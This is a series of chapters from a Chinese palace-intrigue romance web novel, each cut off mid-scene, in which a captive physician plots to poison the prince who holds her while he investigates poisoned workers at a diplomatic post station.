陆昭轶听他说的滴水不漏,心下也有片刻讶异,往日倒是他小看了这个不声不响的老七。 “如此说来,七弟对于接待辽国使臣一事,是不是已经有了想法?”陆昭轶爽朗笑道,“我们兄弟之间,难不成还要隐瞒吗?” “臣弟不敢,”陆昭珩拱手道,“只是现下确实还没有什么好想法。” 陆昭轶眼神复杂地看了他一眼,见他姿态恭敬,神色如常,并不像是说谎的样子。 可怎么就觉得他不像表面上看起来的这么简单。 陆昭轶上前,扶着他手腕起身,说道:“七弟何必如此客气,本宫并非责问,只是想着七弟第一次主持操办接待使臣一事,有很多事情定然不能尽知,父皇虽指派了厉云川协助你,可他到底是个从四品。” 陆昭珩敛着眸色,谦逊问道:“不知大哥有何高见,可否给臣弟指点一二?” 陆昭轶说道:“鸿胪寺卿左正与本宫倒有些交情,他主持接待各国使臣经验颇丰,本宫会吩咐下去,让左正携鸿胪寺上下,好好助七弟完成接待差事。” 陆昭珩听言,再次拱手谢礼:“如此,臣弟便先谢过大哥。” 陆昭轶拍了怕他手臂,貌似和善,话中却暗藏深意。 “七弟如若办好这次差事,来日封王,也未可知啊。” 陆昭珩忙道:“大哥说笑了,臣弟并无此心。” 陆昭轶却笑道:“七弟别紧张,本宫还有政事要忙,就先走了,我们来日再叙。” “恭送大哥。” 陆昭珩送着陆昭轶出了府苑大门,一直压抑着的肃杀冷意才不再遮掩地显露无遗。 蔺风望着那远去的八马御车,实在奢华高调。 他低声道:“主子,太子方才提了封王一事,可是皇上近来真的属意与您,有了要给您封王的意思?” 陆昭珩轻勾唇角,冷笑一声。 “我要的,不只是封王。” 而是他那东宫太子之位。 * 原以为被关在这府苑中,定然是没有什么好下场了。 谁知道每日都有七八个下人伺候,衣食也都换成了顶好的,除了不能随意出入房门,要想出去必然有四个丫鬟和六个带刀侍卫跟着,让姜醉眠心烦不已。 这是又把自己囚禁在这里了,陆昭珩到底什么意思? 22. 喂我 《报错仇后被疯批独占了》全本免费阅读 姜醉眠只感觉浑身都被股强硬力道压制住,不容她挣脱分毫。 鼻间满是淡然幽远的松竹香,与这人分明大相径庭。 她几乎手脚并用的努力挣扎,想要从他怀中出来,可是却越动反而陷得越深,双脚都离了地,彻底跌坐了下去。 陆昭珩将娇小身形全然拦进怀中,宽大衣袍甚至能将她整个人都装进去,将人抱在了腿上才更加察觉到她身量如此轻巧,纤直后背薄得像片羽毛。 “你……放我下去。” 姜醉眠垂目,声音又急又慌,难得的无法维持表面镇定,只因她能感觉到那股强势危险的气息正在慢慢意图将她笼罩吞噬,实在可怖。 陆昭珩望着那截展露在眼前的白皙后颈,莹润胜雪,纯得要命,叫人真想在上面留下些红痕。 察觉到腿上的人还在不安分地乱蹭,陆昭珩眸色渐深,嗓音有些沙哑,低声道:“别乱动。” 姜醉眠忽得僵住,饶是她再不经人事,现下也明白了些许。 一只手扶上她后背,这水绿毓秀薄纱裙果真衬她,芙蓉面庞像开在嫩绿丛中的娇艳桃花。 “往下些,”陆昭珩抱着她轻轻挪动,“坐腿上。” 姜醉眠不敢再轻举妄动,两手都乖乖举在了胸前,茫然无措不知该往哪放了。 身后传来声闷笑,陆昭珩按着她一只手抚摸在了自己胸膛上。 “放这。” 掌心下是顺滑锦袍,金丝滚线的暗云纹路矜贵无比,却被几根纤指揉捏成褶。 姜醉眠耳根纵然微红,却咬牙切齿道:“让我下去!” 陆昭珩双臂将人松松环住,两手轻搭在面前书案上,玄色宽袖紧紧压住水绿罗裙。 他却懒散道:“下去便是,没人拦着。” 姜醉眠暗暗使力,如果不碰他的话,这个姿势是无论如何也起不来的。 偏陆昭珩不打算帮她,膝盖向上轻轻顶了下,怀中人便坐立不稳,温香软玉直接扑在了胸前。 姜醉眠身子歪斜,一抬眼就是他近在咫尺的喉结。 陆昭珩伸手扶她后背,沉声道:“还想咬?” 还? 说的就跟她咬过似的。 两人相距过近,姜醉眠呼吸有些不知该往哪放,吸进鼻间的,满是他身上的雾霭松香。 而那双总是含着冷意的凤眸,此刻却满满映着她的脸颊。 不远处恰好传来开门声,姜醉眠如蒙大赦,趁机扶上他肩膀,一个借力便从他怀中逃了出来,退后三步远,极为戒备的瞪着他。 猝然被人打断,陆昭珩不悦的压低眉色,望向门边。 蔺风端着玉碗,将将探进来半个身子,便被寒冰似的眼神吓住,顿时不敢再动了。 只是他已经迈进来了一只脚,现下进也不是,退也不是,索性一闭眼,直接走了进来。 在书案前单膝跪下,他恭敬道:“主子,卑职不是有意惊扰,只是先前太医嘱咐过了,这药需得按时服用。” 虽然书案后的两人离着几步远,但蔺风还是能察觉到有丝微妙的气氛在两人间缓缓流淌。 陆昭珩道:“你胆子够大。” 蔺风连忙将玉碗放下,扑通一声磕头下去:“卑职不敢。” 书房内静默了片刻,陆昭珩拿起云纹笔架上的狼毫笔,沾了些松墨,在摊开的一本纸卷上不知圈写了什么,随后扬手,扔到了案前。 蔺风拾起纸卷,方看了几眼,便震惊不已的抬起头。 卷上所说之事如果为真,那便是要出大乱子了。 陆昭珩放下毫笔,并没有多言。 蔺风却已经读懂了他的意思,将纸卷塞进胸襟,语气郑重道:“卑职马上去查。” 说完,便将那玉碗放在案上,倒退着出了书房。 姜醉眠并没有看清楚那纸卷上到底写了什么,但见书案侧边还有本摊开的书卷。 上面的字迹刚劲清瘦,自成一派凛冽松骨。 像是抄写的几句诗词,瞧不真切。 在书卷的左下角,似乎还提了字。 姜醉眠身子微微前倾,眯着眼睛去看,恍然间却觉得那笔锋走势竟然像是“予行”二字。 她心中疑惑更甚,既然陆昭珩才是他本名,那路予行这个名字难道不是他随口编出来的吗? 予行。 叔兮伯兮,驾予与行。 幻想与所爱之人一同归家,才发出了这样的期盼之音。 难不成,这是他的字。 没等姜醉眠再将上面写的诗词看清,一只手便伸过来将那本书卷合上了。 姜醉眠见陆昭珩再次提笔,似乎正准备继续翻看其他卷本,而那碗浓黑的汤药就摆在案前,热气袅袅。 看来他身体确实出了问题,只是不知是何病症,竟要每日都按时喝药。 狼毫笔锋在宣纸上笔走龙蛇,写下一行字后,陆昭珩开口道:“过来研墨。” 姜醉眠颇为惊讶,抬手指了指自己:“我?” 陆昭珩斜睨她一眼:“还有第三个人?” 姜醉眠愤恨万分,不仅没法报仇,居然还要迫于仇人淫威卑躬屈膝,实在太窝囊了。 她上前几步,一手拢着水袖,一手捏着方金实砚,当真细细研磨起来。 这樽砚台着实上品,研出来的墨都浓黑不散,触笔不滴。 她一边磨,陆昭珩一边写。 “使臣不日抵京,修缮尽早完工,若有难处,务必上报。” 写完后,陆昭珩便走到门边,将书信给了门外侍卫,派人加急送往蕉岭山。 想来这信是要送给正在都停驿的鸿胪寺卿左正的,毕竟使臣进京后便要入住都停驿,在此之前万事都必须准备妥帖。 陆昭珩又吩咐了侍卫几句,转身回房,便看见姜醉眠正站在案桌前,俯身凑近了去闻那碗黑苦汤药。 当归,黄芪,地参,熟地黄,白术…… 这些都是气血亏空之人用来补益心脾,益精填髓,养血安神的补药,只是其中还有几味药材气味被遮掩住了,姜醉眠没能闻得出来。 难道他真的内里已有亏损? 姜醉眠忽然想到了什么似的,直起身子,扭头看向正朝着她走来的陆昭珩。 是了,她怎么能忘了呢! 是暹红之毒! 当时在镇上的药铺,师父也曾给陆昭珩把过脉,他当时中毒已深,还因为调动内力吐了血。 数月不见,姜醉眠还以为他的毒早就已经解了,毕竟太医院有那么多医术高超的太医,就算寻尽天下珍稀药材,也不是什么难事。 只是如 23. 毒发 《报错仇后被疯批独占了》全本免费阅读 自那之后又安生了几日,姜醉眠倒是一时乐得自在。 偶然听见伺候的小丫鬟说漏了嘴,她才知道原来陆昭珩已经离了京城,亲自前去蕉岭山都停驿察看修缮一事。 只是距离使臣抵京还剩下七日时间,难不成整个鸿胪寺还修不好小小一座驿馆? 此事姜醉眠听来也觉疑惑,个中缘由她就不得而知了。 厢房内有个实木雕花镂空书架,她闲来无事翻看上面的书籍,竟意外发现了一本失传已久的医书古迹。 古书上落了厚厚一层灰,往日里连打扫房间的小丫鬟都偷懒没有打理过,想来是并无人在意过这医书。 姜醉眠只不过粗略翻了几页,便如获至宝,双眸都熠熠闪光。 青彤不明所以,也凑过来看:“姐姐,这是什么书啊,有那么好看吗?” 姜醉眠捧着书坐到几案旁:“这上面记载了一些罕见的珍稀药材,以及它们的药性作用,还有该如何配成方子服用,连疗程效果都罗列得一清二楚……” 青彤双眼失神,一看就是没听进去。 姜醉眠直接说道:“算了,你不懂,但有了这本书,或许很多疑难杂症便可迎刃而解。” “这书能比白师父还厉害?” 青彤虽不认识白更生,可也从姜醉眠口中听说了不少他医术如何如何高明。 姜醉眠顿了片刻,像是当真在思考,随后说道:“还是师父厉害些。” 看完了第一个方子后,姜醉眠心中大为赞叹,她从来就没有想过这些药物居然可以放在同一个方子中,而且发挥的功效居然也有大不同。 若两种药性相克的药物被一同饮下,良药,说不定也会变成毒药。 看到这里,姜醉眠便想到了那日在书房的那碗黑苦汤药。 里面的那味地参与寻常人参不同,更为珍稀,却也更为娇贵,与很多药物的药性都是相克的,万不能一同入药,就比如这书中所写的甘草枯。 以地参和甘草枯为主药,熬制服下,其产生的毒性恐怕会让人立即七窍流血暴毙而亡。 看到这里,姜醉眠思虑片刻,便将门外伺候的小丫鬟竹翠唤了进来。 “彤儿近来夜里常常咳嗽,许是前些日子受了惊吓,心悸气短,我给你写个方子,你且去药铺抓几味药来,煎好之后给她服下。” 坐在一旁口中正含着两块糖糕的青彤满脸疑惑,扭头看了过来。 她什么时候夜间咳嗽了,心悸气短了? 这几日别的不说,陆昭珩没有在吃穿用度上苛待她们,样样都是照着王公贵戚的千金小姐伺候的,其中膳食尤其好,她甚至还吃胖了些,面色也红润有了光泽,不再像之前那个干瘦干瘦的小萝卜头了。 姜醉眠倒是面色如常,望她一眼,眼中充满深意,她便了然。 “咳咳,”青彤皱着眉头咳嗽两声,脸颊都憋红了,“我,我难受得紧呢。” 竹翠见状,连忙说道:“彤儿姑娘若是身子不舒服的话,奴婢这就去外面请郎中来给姑娘瞧瞧。” 说完,竹翠焦急地便准备跑出去。 姜醉眠上前将她拦住:“我便是郎中,哪里还需去外面请了?” 她将手中方子递给竹翠,对她弯了弯眉眼,笑容明艳动人:“不是什么大事,只要喝几副药便能好了,按照这个方子抓即可。” 竹翠眼前晃了一瞬,又匆忙低下头。 “是,姜姑娘。” 竹翠出了府,先去了家医馆,找了郎中仔细看了看姜醉眠给开的方子,并没有看出有什么蹊跷。 半夏,天南星,甘草,川贝母……确确实实是祛痰止咳的良药。 竹翠这才放松了戒备,毕竟蔺风大人走得时候专门交代过,只要不让那二人再跑了,他们务必提着脑袋好生伺候着。 上回因为疏忽大意放跑了姜醉眠的那个小丫鬟,坟前燃香恐怕都还没灭呢。 等到竹翠回府的时候,天色已经快黑了。 姜醉眠看了看她拿回来的药材,确认里面有她需要的甘草,便说道:“还要劳烦竹翠姑娘煎制好了再送过来。” “姜姑娘还有什么吩咐,直接告诉我便是,不用如此客气。” 竹翠恭敬颔首,随后拿着药材便出去了。 青彤眼瞧着她走远后,回身问坐在几案旁又翻看那本医书的人。 “姐姐,你葫芦里到底卖的什么药啊?我又没有生病,你为何还让竹翠去药铺抓药来?” 姜醉眠不答,只是抬手,纤指顺着医书上的几行字缓缓滑过。 “取甘草熬制过后的药渣,置于日下曝晒,待水分脱去后,再与陈石砂、酿堂草粉末等量混合,是为——甘草枯。” 有了这甘草枯,只要将其混进陆昭珩喝的汤药里,每日混入一点,积少成多,等到两种药物的毒性在他体内积蓄足够,便是大仇得报的那一天。 她侧眸望向窗外,几根纤长劲竹遥遥伸展,落在雕花窗台上。 斑驳月光星星点点垂下,胜似覆雪。 她忽然很想家。 * 又过去两日,姜醉眠趁着竹翠不注意时,将甘草的药渣取了些许回来,偷偷放在窗台上晾晒好后,又与怀中一直藏着的药粉包搅浑在了一起。 甘草枯是有了,可陆昭珩到底何日回来。 傍晚时分,暮色四合,姜醉眠和青彤坐在厢房前的小花园中赏花。 说是赏花,那十几株名贵花草都惨死于姜醉眠手下后,陆昭珩便命人搬了几个偌大的水缸来,缸中盛开着数朵娇艳动人的红莲,鲜嫩花瓣迎风微颤,甚是惹人怜爱。 这季节终究不是莲花盛开的时候,宫中的御花园是因为有温泉池环绕,所以终日温暖如春,才能养得满园春色。 而这缸中红莲也是用的温泉池水,是有人每日三次从宫中运了那温泉池水送来府上,下人们再将池水倒入缸中,以保缸内水温恰好适宜红莲盛放。 对于如此劳人伤财的举动,姜醉眠并无欣赏之意,手指在莲花花瓣上戳了几下,心中唏嘘不已。 许是她不懂皇室的奢靡淫逸,竟不知连一缸红莲也是寻常富贵人家供养不起的。 青彤在一旁说道:“姐姐,你说仇人为何会对我们这么好?他非但没有杀了我们,还好吃好喝养着我们,难不成,是想把我们养得白白胖胖了好卖去酒楼换花钱?” 姜醉眠却拍了她脑袋一下:“注意言辞。” 她往两边看了看,幸好此时竹翠和其他下人们都在院门口守着,听不见她们说话。 “我就是觉得奇怪嘛,”青彤托着两颊,“仇人看来也并不像缺钱之人,有这么大一座宅子,还有那么多仆人和侍卫,他把我们关在这里,到底是图什么呢?” 这个问题姜醉眠也思虑已久,陆昭珩既然 24. 不轨 《报错仇后被疯批独占了》全本免费阅读 榻边人冷淡扫过来一眼,顺手用袖口将唇边血迹抹了。 蔺风眼神中满是焦急:“主子,您这几日都没按时喝药,想必是体内毒性压制不住又复发了!” 陆昭珩斜睨着他:“多嘴。” 他自己的身子自己知道,那暹红之毒即使每日用汤药压着,可若是无法根除,毒性积累到了一定地步便会时不时控制不住乱窜上涌,这几日他也察觉到内力几番紊乱,可都被他又强行压下。 方才吐出口血来,内力倒是又稳下去了。 “主子,要不我还是去宫里请了太医再给您瞧瞧吧,近来多事,您还是要先顾及自己的身子啊。” “此事不准让旁人知晓,”凤眸微微抬起,望向一直站在门边不动的人:“不打算进来?” 姜醉眠磨磨蹭蹭走到床榻前,垂眸便看见了地上滴落的血迹。 陆昭珩将袖口挽起些许,手臂轻轻搭在了袭上,手心向上,对面前傻站着的人说道:“过来给我诊脉。” 谁知蔺风见状,却忽然跳出来阻拦,言辞恳切道:“主子,就算不能去请太医,我也可以即刻去城中请郎中过来,让此女给您诊脉怕是多有不妥。” 陆昭珩却道:“有何不妥?” 蔺风望向姜醉眠的神色中充满了戒备与警惕,他从来就没有对姜醉眠放心过,更何况知道了姜醉眠的真实身份后,便更加对她的目的感到怀疑。 她费尽心机接近主子,定然别有所图。 “主子,她一介女流,想来医术也不怎么样,让她给您诊脉也是于事无补,何须浪费这时间,我还是快马去城中走一趟,最多不过两个时辰便能回来了。” 说完,蔺风转身便欲离开。 姜醉眠没搭理他,上前两步,在床榻边俯身,两指轻轻搭在了那截青筋暴起的手臂上。 蔺风回身便准备将她拉走,手还没碰到姜醉眠身上,便听见她轻柔开口:“你再多耽误一会,就等着给你主子收尸吧。” 蔺风的手当即顿住,另只手却趁势握上了腰间的佩刀:“你胡说什么!” 姜醉眠察看了下陆昭珩的脉象,发觉他的内力这会儿已经趋于平复,前几日在丞相府替他诊脉时,他的毒性还没有如此外化,这会儿她甚至无需再多探究,手指一搭上便能诊出不对劲。 若再寻不到解药,只怕他连一年的命数都保不准。 姜醉眠心中略过一丝喜悦,但面色上却又竭力压抑下来,说道:“是不是胡说,你试过便知,他方才吐出的那口血便是因为毒性使他内力倒转逆流,气血亏空,现在必须立即服用弥补气血的汤药才是,你若再去京中请郎中过来,别说两个时辰,一个时辰他就会毒性再次复发。” 蔺风听她一本正经地说完,再看了眼自己主子,竟然连一个眼神都没有给自己。 当时主子在南陲村失踪之后到底发生了什么,能让主子对她如此信任。 她的话到底可不可信,蔺风一时之间竟也犹豫了几分。 眼下驿馆内没有别的郎中了,即使她胡说八道也无可证实。 姜醉眠见蔺风当真被自己唬住了,便收了手指,站起身后昂首挺胸地看他,还略带骄傲的挑了挑眉。 “是谁说我是女流,便定会医术不精的?”她上前一步反问道,“若你会医术那你来,你来替你家主子好生瞧瞧,看他是不是长命百岁的命数?” 蔺风竟然被她小小的个子逼着后退了两步,虽然腰间佩刀蓄势待发,可主子不言,他是绝对不敢动的。 “我自幼习武,哪里会医术。” “既是不会,那便闭上你的嘴,”姜醉眠面色沉静,不急不徐说道,“你自幼习武,我自小也读了不少医书,还跟医术天下第一的师父学过医术,你又未曾见过我给人诊脉治病,怎得就先在心中为我下了决断,以如此偏见待人,岂是大丈夫所为?” 蔺风被她激得面色微红,张了张嘴巴,竟是一时哑口无言。 “我,我并非此意……” “哦,那你是何意?”姜醉眠抱着手臂,歪了歪脑袋看他,“你是觉得我会在你们的眼皮子底下下毒,毒害你主子?且不说外面还有成百侍卫们守着,我插翅难逃,你主子本就身重剧毒,时日无多,又何须我再来下毒。” 蔺风彻底没了言语,求助一般看向坐在床榻上不发一言的主子。 陆昭珩轻眯眼尾,瞧着面前纤瘦的背影,唇角却微微勾了起来。 这样伶牙俐齿,据理力争的她,才是当日深陷命案,在南陲宗祠当众为自己洗清冤屈的姜醉眠。 “好了,你先下去。”陆昭珩开口道。 蔺风如释重负,拱手道:“那卑职去为主子送药过来。” 说完,蔺风便提步往屋外走。 刚走到屋门口,便见屋门外面有一道黑影瞬间闪过,蔺风心中顿时警醒,头也不回地便追着黑影冲了出去。 黑影速度极快,但蔺风轻功更胜一筹,手中佩刀抽出,劈开疾风便朝着黑影的后背直扑而去。 黑影身手矫健,蹬地腾空后翻一周避开冷刀,随后三两步便跃上房梁,朝着漆黑一片的山林中去了。 “别跑!” 蔺风拾起地上的冷刀,也提步直接追了上去。 眨眼间两人身影便消失无踪。 这时,不远处的几个官署内依次亮起了烛火,像是都被这院中打斗的动静惊醒,起来看看是发生了何事。 有几人行色匆匆,待着几个侍卫提着灯,快步往陆昭珩的住处走来。 姜醉眠神色一紧,慌乱地回头去看床榻上坐着的人。 此时屋内只有他们二人,若是被人撞见他们夜间共处一室,恐怕会被当成是私会也说不定。 可陆昭珩倒像是面色自若,不仅没有半分紧张,似乎看起来还分外期待姜醉眠的反应。 指望他是不可能了,耳边听着屋门外那几人说话的声音渐渐变大,姜醉眠急得“扑通”一声跪在了榻边,撩起来床铺便要往床底下钻。 实在不行躲一躲,等那些人走了再说。 陆昭珩没想到她最后憋出来的是这招,见她慌不择路地往自己两腿间拱,高高撅起来的身影就明目张胆在眼前乱晃。 他眸色都暗沉了几分,在屋外人即将走到门边之前,俯身一手捞过细韧腰肢,将她整个人兜头塞进了榻上的被褥中。 姜醉眠身子骤然一轻,随后就是一股清淡好闻的松竹香扑面而来,她眼 25. 媚意 《报错仇后被疯批独占了》全本免费阅读 姜醉眠果然没再出声,只是努力将一双眼眸睁得圆溜溜的,在黑暗中紧盯着他。 陆昭珩先暂时将她压制住,侧耳听门外的动静。 有两个侍卫瞧见屋内烛火熄了,却在他屋门外驻足良久,迟迟没有离去。 床榻上的两人也保持着同样的姿势没动。 一个是屏息凝神观察外面的人,一个是被压着身子捂着口鼻。 姜醉眠两条腿扭曲着,都快被压麻了,想要将上方的重力推卸开,却听见陆昭珩充满了威胁的嗓音就响在耳际。 “再动把你衣服脱了。” 姜醉眠顿时偃旗息鼓,浑身都僵硬住了,却也真的老老实实一动不动。 陆昭珩忍不住轻笑一声,说什么都不如说这个管用。 外面那两个侍卫不知在等候什么,可等了半天也没听见屋内人有什么声音,两人便都放松了警惕,放心回去交差去了。 陆昭珩一直等到外面再听不见脚步声,知道今夜闹剧这才终于结束了。 可怀里人此刻安稳乖巧的像只毛都被捋顺了的猫儿似的,任凭他怎么摆布,也紧紧绷着脸蛋一声不吭,当真是有趣极了。 陆昭珩仍旧不动,也没打算松开她,手上用了点力气,拖着她的手腕将人拉到了自己胸前。 姜醉眠正讶异他到底想做什么时,嘴巴上的束缚猛地松开了,她也怀疑是门外有人,所以陆昭珩不得不装作已经熟睡,现下她便也不敢再闹出什么大动静。 她拼命压低了嗓音,只用气音问道:“方才那几人是来看你有没有被刺客杀害的?” 陆昭珩倒是没想到她能一眼看穿:“是。” “可他们不是鸿胪寺的官员吗?”姜醉眠疑惑不已:“为何要害你呢?” 陆昭珩察觉到她一边说话,一边在悄悄把腿从中间抽出去,便故意用了点巧劲,让她双腿卡在了自己和床褥之间。 凑到她面前,看着她眼睛说道:“你猜猜。” 姜醉眠被他忽如其来放大的俊脸吓到,虽然看不清他脸上玩味的表情,可那道温热的气息却直接洒在了她唇边。 她几乎是用尽了全身的力气猛地朝后躲,不成想力气过大,脑袋竟是“砰”一声撞到了背面的墙上。 “唔……” 撞疼了也不敢喊叫,只能自己用手使劲捂住了嘴巴,眼泪汪汪的自己摸着后脑袋倒吸气。 真是倒了霉运,上回摔着的也是脑袋这个位置,这回又撞到老地方,再来一次,她不会直接变成痴傻的吧。 陆昭珩听见那动静便知撞得不轻,大手绕到她脑后,五指也轻轻插入她发中,忽视掉掌心里细腻顺滑的柔发,只专心找到她被撞之处,微微揉按了两下,极具抚慰之意。 姜醉眠自己按起来尚且知道轻重,这人手上力气不知为何那么大,只是碰了自己伤处一下,姜醉眠眼泪花便直接涌了出来,愤恨地将他的手用力抽出甩开。 “你想杀了我吗?”她闷闷地控诉,语气尽是不满。 窗边恰巧洒进来些许银光,乌云散开些许,皎月显露暧昧。 借着昏暗亮意,陆昭珩看见了她眼尾滑出的晶亮泪珠,微微上挑的桃花眼中水光潋滟,分明是气急了恨急了望过来一眼,却像是含羞带怯,眉眼间暗藏着无尽撩人情态。 媚意杀人。 分明是她要杀了他。 陆昭珩呼吸渐重,被压下去的紊乱内力此刻仿佛又开始在体内乱窜游走,奔腾叫嚣,难以自控。 他再次抚上她后脑,按住了不让她逃脱分毫,眼底冷厉片刻消融,化为了无尽春色,逼近过来要将她牢牢笼罩其内。 薄唇微微张开,就在即将要触碰上那抹瑰丽红唇时,姜醉眠猛地偏头,脸颊便埋进了他衣领间。 “殿下想要什么样的女人没有,”姜醉眠闷声道,“醉红馆的仙梦姑娘还经常惦念着您,殿下何必要来强求我。” 陆昭珩抵在她脸侧,却不移开,低低笑了两声,说道:“我若偏要强求,你能如何?” “我会杀了你。”姜醉眠道。 “要杀便杀,何必日日挂在嘴边。” 姜醉眠狠狠揪住了他的衣领,眸中泪意还未完全褪去:“你当真以为我不敢吗?” 陆昭珩轻抚上她的手:“你敢,不然也不会想给我下毒。” 姜醉眠愣怔片刻,这才回过神来,原来他一切都知道,他知道自己要给他下甘草枯。 “既如此,你为何还不提前杀了我,以绝后患。”姜醉眠颓然松开手,望着他问道。 他眼神中竟然弥漫上些许浪荡情意,叫人分不真切。 “自然,是因为舍不得。” 姜醉眠心中一怔,还未等她弄明白陆昭珩话中的意思,房内的后窗便传来道细微的响动声,她当即紧张兮兮地看过去,却意识到陆昭珩好像根本没有太过在意。 只见蔺风从窗外翻了进来,还不忘蹑手蹑脚地将窗户再重新关好。 他低头走到床榻边跪下,也压低嗓音禀报道:“主子,那个刺客跑了,但我伤了他要害,想来他也活不了了。” 陆昭珩并未起身,问道:“可知他什么身份?” 蔺风道:“从跟他短暂交手来看,他武功不弱,轻功尤其好,他方才来此想必是还未寻着机会便被我发现了,我追他的时候他一路朝着京城相反的方向跑,我倒觉得这是故意为之,他背后之人定在京城,他为了掩人耳目才舍近求远,妄想甩开我之后再回京复命,只是没想到被我拦腰阻截住了。” 陆昭珩“嗯”了声,并没有再说别的。 蔺风觉得有些奇怪,问道:“主子,您不觉得这刺客出现的时机太过巧妙了吗,怎得前几日他没出现,偏偏我将那个姜姑娘带来之后他就出现了,莫非,是有人耐不住了?” 姜醉眠听见他提到自己,正想听听他们两个会说自己什么,身旁的人却忽然起身坐在了床边。 刚才陆昭珩能将她的身子完全遮挡住,蔺风都没发现她在屋中,这会儿看见床上竟然还躺着个人,而且是姜醉眠,蔺风差点没把佩刀吓掉了。 “主,主子……你,你们,你们……” 他想问问主子,难不成,就他刚才不 26. 问诊 《报错仇后被疯批独占了》全本免费阅读 这几日接触下来,几位官员并未发现陆昭珩有任何远见之才,不论几人说些什么提议,他也只是纵容应允,因此几人也都把他当成了传闻中的那般迷恋花丛的绣花枕头罢了。 如今见着陆昭珩如此正色,一时之间竟无人敢开口应声。 左正也有点摸不着头脑,惶恐说道:“微臣绝无此意,只是事关重大,微臣不得不小心谨慎些,进入馆内之人必得细细调查过底细才行。” 说完抬头一看,便见那道凤眸正漆黑如墨的盯着他,左正顿时将头深深埋下:“不过既然有殿下为这位神医作保,自然是出不了差错的,便让这位神医随殿下一同去察看罢,只是殿下千万要注意着些,别被那几人的病症传染了去。” “多谢左大人关心,”陆昭珩略一敛眸,“既然驿馆已经派人严加看守,那便请左大人留心些,别再让什么刺客混进来才是。” 左正神色微怔,恭敬道:“微臣领命。” 说罢,陆昭珩提步便带姜醉眠往偏殿处走,身后几个官员正准备跟上,却被一柄寒刀无情拦住了去路。 蔺风面无表情:“请各位在此等候。” 左正听言,回身与身旁的一位少卿常如眼神交流一番,两人均面色凝重。 常如上前对蔺风道:“蔺大人,殿下与那神医单独相处,恐有不妥吧,那神医身份尚未查证,万一心有不轨,岂不是将殿下置于危险境地?我等还是随殿下同去较为妥当。” 蔺风身影不动,看着几人的目光也显露出怀疑和警惕来。 主子昨夜让自己暗地去府苑将姜姑娘请过来当真是明智之举,这几个官员中不知有几人心口不一,嘴上说着效忠主子,背地里却搞些见不得人的手段,若是让这些人知晓有神医到来,必定会事先做好充分准备。 今日忽然冒出来的姜醉眠,属实打了他们一个措手不及。 “常大人此言何意?”蔺风问道,“莫不是常大人想违逆殿下命令,冒着杀头罪过也要跟随殿下左右?此番壮义,蔺某自愧不如。” 常如嘴唇僵硬:“我,我并非有违逆之意啊,只是担心殿下安危罢了。” “好了,”左正出言道,“既是殿下意思,咱们就在这里等候便是。” 常如有些焦急道:“大人,可您明知那几人……” “常如!”左正厉声看向他,“也不看看这是什么场合,休要胡言乱语!” 旁边另外几人也望向两人,眉目之间皆有疑惑,可那两人却闭紧了嘴,再不肯多言一句了。 姜醉眠随陆昭珩进了偏殿,殿门前有两个吏员看守着,方走到门口,便闻到了殿内传来的浓郁药香。 往殿内一看,偌大的偏殿被几扇落地积玉屏风分隔成了八个隔间,每个隔间内都放着张床榻,上面躺着一人,而每道屏风旁边另有一吏员侍候着,看管药炉,煎熬汤药,忙得不可开交。 瞧见来人后,几个属员忙跑过来跪了一地。 “见过七殿下!” 陆昭珩也是头次迈进这偏殿来,视线在几个床榻前扫过,他问道:“情况如何?” 一吏员答道:“回殿下,这几人尚未将官署修缮好,便忽然得了重症齐齐病倒,左大人已命人请了多位郎中前来问诊,可照着郎中们给的方子吃了,却仍旧未见起色。” “那几位郎中都是左正亲自请来的?”陆昭珩又问。 吏员垂首称是:“左大人知晓使臣不日抵京,怎奈驿馆安排给辽国使臣居住的官署已经快要修缮完了,却忽然出了这档子事,左大人心急如焚,命我们几个在这里日夜伺候着。” 姜醉眠站在一旁听了,心中也明白了事情的来龙去脉。 原来并不是都停驿的官署难修,而是修缮的师傅病倒之后工期就搁置了。 可她仍旧不解,于是开口问道:“既然修缮之事如此重要,为何不再去请别的师傅来?” 地上的吏员解释道:“只因驿馆建造特殊,各国使臣来访之时入住的官署也早有安排,均是按照各国不同礼仪风俗来进行建造维护的,而那辽国官署向来是那几位师傅负责,那其中特有的构造手艺,旁人一时也是学不来的。” 如此,只能等到那几个师傅身体恢复好了再继续进行修缮。 不远处的药炉似是正好滚开,咕嘟咕嘟冒着浓浓药香。 姜醉眠转念一想,开口问道:“我可否瞧瞧那些汤药?” 跪着的吏员偷偷抬首,殿下未曾发话,他们是万万不敢起身的。 姜醉眠望了陆昭珩一眼,他命人带自己前来,不就是为这几个修缮师傅看病的吗。 “起来罢。”陆昭珩淡声道。 几个吏员这才从地上起身,去端了碗刚煎熬好的汤药过来递给了姜醉眠。 姜醉眠接过药碗仔细嗅了嗅,说道:“藿香、连翘、麻黄、木通,多为清热解毒功效,那几人一直高热不退?” 吏员道:“正是,除此之外还时常咳嗽,上一位郎中刚给开了这个新的药方,已经吃了三日了。” 药方定然是没有差错的,可姜醉眠总觉得有一丝怪异之处,她问道:“那药方现在何处?” 一个吏员匆匆去案台下拿了过来。 姜醉眠看来看去,也没觉得有何不妥:“都是宣肺平咳、益气固表的好方子,为何迟迟不见好呢。” 她绕开几人,拿着方子走到了正中间那人的床榻前。 床上躺着的人瞧着年轻稚嫩,左不过十四五岁的模样,双目轻阖,在睡梦中似乎也极不安稳,脸色苍白,双颊凹陷,唇边还泛着淡淡青乌之色,呼吸微弱,快要撑不住了似的。 见此情景,姜醉眠不知是想到了什么,眉头紧锁,挽起袖口蹲下身子,顾不得其他礼数,替他诊脉起来。 脉象持续沉迟,削弱无力,亏空入里,根本不似寻常风寒起热。 她再轻轻拨开他的眼皮,触手的肌肤滚烫,且瞳仁涣散,毫无精气,隐隐呈现白目之姿。 姜醉眠顿时缩回手来,双眸圆睁,震惊不已的回头,望向不远处的陆昭珩。 陆昭珩看出她脸色有异,大步走到了她身旁来,伸手攥住细弱的胳膊,轻轻一提便将人从地上拉了起来。 低沉的嗓音用只有两人能听见的声音轻声问道:“如何?” 姜醉眠抿了抿唇,小声道:“是中毒!” 陆昭珩眸色顿时冷沉下来,斜睨了殿内站着的十几个吏员一眼。 那些吏员不知两人说了些什么,可均被那股强势威压吓破了胆子,扑通扑通又跪了一地。 陆昭珩刚要开口,姜醉眠却忽然反手扯住了他衣袖,近乎攀附在他耳旁道:“这方子并无错漏,汤药也顶多吊着他们命数,无法根除毒性,算着日子的话,差不多五日之后,他们便会毒发丧命。” 27. 生津 《报错仇后被疯批独占了》全本免费阅读 刚走出殿门,姜醉眠便从他怀中挣脱出来,气愤不已地追着他小声质问:“你方才什么意思!” 陆昭珩大步流星往前走,长腿迈一步,姜醉眠得跟着跑两步。 